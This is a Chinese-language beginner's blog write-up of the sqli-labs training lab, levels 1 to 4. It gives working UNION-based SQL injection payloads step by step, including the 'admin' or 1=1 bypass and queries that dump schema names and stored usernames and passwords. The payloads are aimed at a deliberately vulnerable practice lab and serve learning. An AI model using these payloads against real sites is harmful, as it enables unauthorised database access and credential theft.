SQL注入之sqli-labs靶场超详细通关(less-1~less-4:GET_非盲注)

目录

什么是SQL注入

sqli-labs靶场 Less-1(GET_非盲注)

SQL注入流程

简单的注入(判断是否为SQL注入)

判断注入类型

数字型:

字符型:

判断闭合方式

万能SQL注入密码

万能密码原理解释

判断字段数

判断报错位置

判断库名

判断版本号

判断表名字

判断字段名

爆出数据

sqli-labs靶场 Less-2(GET_非盲注)

判断为数字型

判断为单引号闭合

判断字段数为3

判断报错位(回显位)

判断库名security

判断表名

判断字段名

爆出数据

sqli-labs靶场 Less-3(GET_非盲注)

判断为字符型

判断为')闭合 

判断字段数为3

判断报错位(回显)

判断库名

判断表名

判断字段名

爆出数据

sqli-labs靶场 Less-4(GET_非盲注)

判断为")闭合

判断字段数为3

判断报错位(回显)

判断库名

判断表名

判断字段

爆出数据


什么是SQL注入

      SQL注入(SQL Injection)是一种非常常见的网络攻击手段,它利用了网站应用程序在构建数据库查询时的不当处理,使得攻击者能够插入或“注入”恶意的SQL代码片段。这些恶意的SQL代码片段被服务器执行后,可能会泄露敏感信息、修改数据库中的数据、甚至控制整个服务器。

sqli-labs靶场 Less-1(GET_非盲注)

#该靶场是按难度划分的,对于新手是一个很好的练习场

题目提示:Please input the ID as parameter with numeric value:请输入ID作为数值参数

SQL注入流程

简单的注入(判断是否为SQL注入)

ip/Less-1/?id=1 (发现出现了登录账号和密码,确实存在SQL注入)

?id=1' (正常,很大几率不存在注入;不正常,存在注入)

判断注入类型

如何判断是字符型还是数字型呢,有一种方法:

数字型:
  • 1 and 1=1     (能回显)
  • 1 and 1=2     (不能回显)
字符型:
  • 1' and 1=1#     (能回显)
  • 1' and 1=2#   (不能回显)

如果输入的参数为字符串时,称为字符型,数字型需要'(单引号)闭合,而字符型不需要。

ip/Less-1/?id=1 and 1=1 能回显

ip/Less-1/?id=1 and 1=2 能回显

以上可知是字符型

判断闭合方式

ip/Less-1/?id=1\

报错后面0,1'是'(单引号),则单引号闭合,也就是注入点

万能SQL注入密码

先确定是什么闭合方式,此题为单引号闭合

admin' or 1=1 -- (后面一个空格,#和-- (有个空格)表示注释,可以使它们后面的语句不被执行。在ur中,如果是get请求 (记住是get请求,也就是我们在浏览器中输入的ur) ,解释执行的时候,u中#号是用来指导浏览器动作的,对服务器端无用。所以HTTP请求中不包括#,因此使用#闭合无法注释,会报错,而使用--(有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用--+的方式来闭合,因为+会被解释成空格。) 

万能密码原理解释

数据库的表示为:Select name,password From users Where name='admin' and password= or 1=1 --%20

 优先级:and>or,and前后都为true,则绕过后面的password检查

判断字段数

如果报错就是超过字段数,如果显示正常就是没有超出字段数。

ip/Less-1/?id=1' order by 3--+

ip/Less-1/?id=1' order by 4--+    报错则说明3列

判断报错位置

也就是显示位,就是看哪一列是能显示的,当union前面的语句为false,才会执行后面的语句,下面可以看出第二列和第三列数据是能显示

ip/Less-1/?id=-1' union select 1,2,3--+

判断库名

ip/Less-1/?id=-1' union select 1,database(),3--+或者?id=-1' union select 1,2,database() --+

得到数据库名:security

判断版本号

?id=-1' union select 1, 2,version() --+

版本号为:5.5.44

判断表名字

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

#这里说明一下为什么是从information_schema.tables中读取。现在已知数据库为security,爆出该库的表名

以下可得出表:emails,referers,uagents,users

判断字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆出字段:id,username,password

爆出数据

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs靶场 Less-2(GET_非盲注)

?id=1和?id=2的响应不一样,存在SQL注入漏洞

判断为数字型

判断为单引号闭合

ip/Less-2/?id=1\

判断字段数为3

判断报错位(回显位)

ip/Less-2/?id=-1' union select 1,2,3--+不行就去掉单引号

和第一关一样,也是2,3字段有回显

判断库名security

?id=-1 union select 1,database(),3--+

判断表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ 

判断字段名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 

爆出数据

?id=-1 union select 1,2,group_concat(id,username,':',password) from users--+

输出格式可以自行调整,为了方便看数据

sqli-labs靶场 Less-3(GET_非盲注)

判断为字符型

判断为')闭合 

判断字段数为3

?id=1') order by 3--+

判断报错位(回显)

?id=-1') union select 1,2,3--+

判断库名

?id=-1') union select 1,database(),3--+

判断表名

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

判断字段名

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆出数据

?id=-1') union select 1,2, group_concat(username,':',password) from users--+

sqli-labs靶场 Less-4(GET_非盲注)

判断为")闭合

判断字段数为3

判断报错位(回显)

判断库名

判断表名

判断字段

爆出数据

以上就是小白的GET_非盲注的学习记录,不喜勿喷,如果有错误,希望各师傅来纠正,下一篇更新GET_盲注的几种情况,果然还是自己学习记录能加深印象,如有雷同,纯属巧合。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值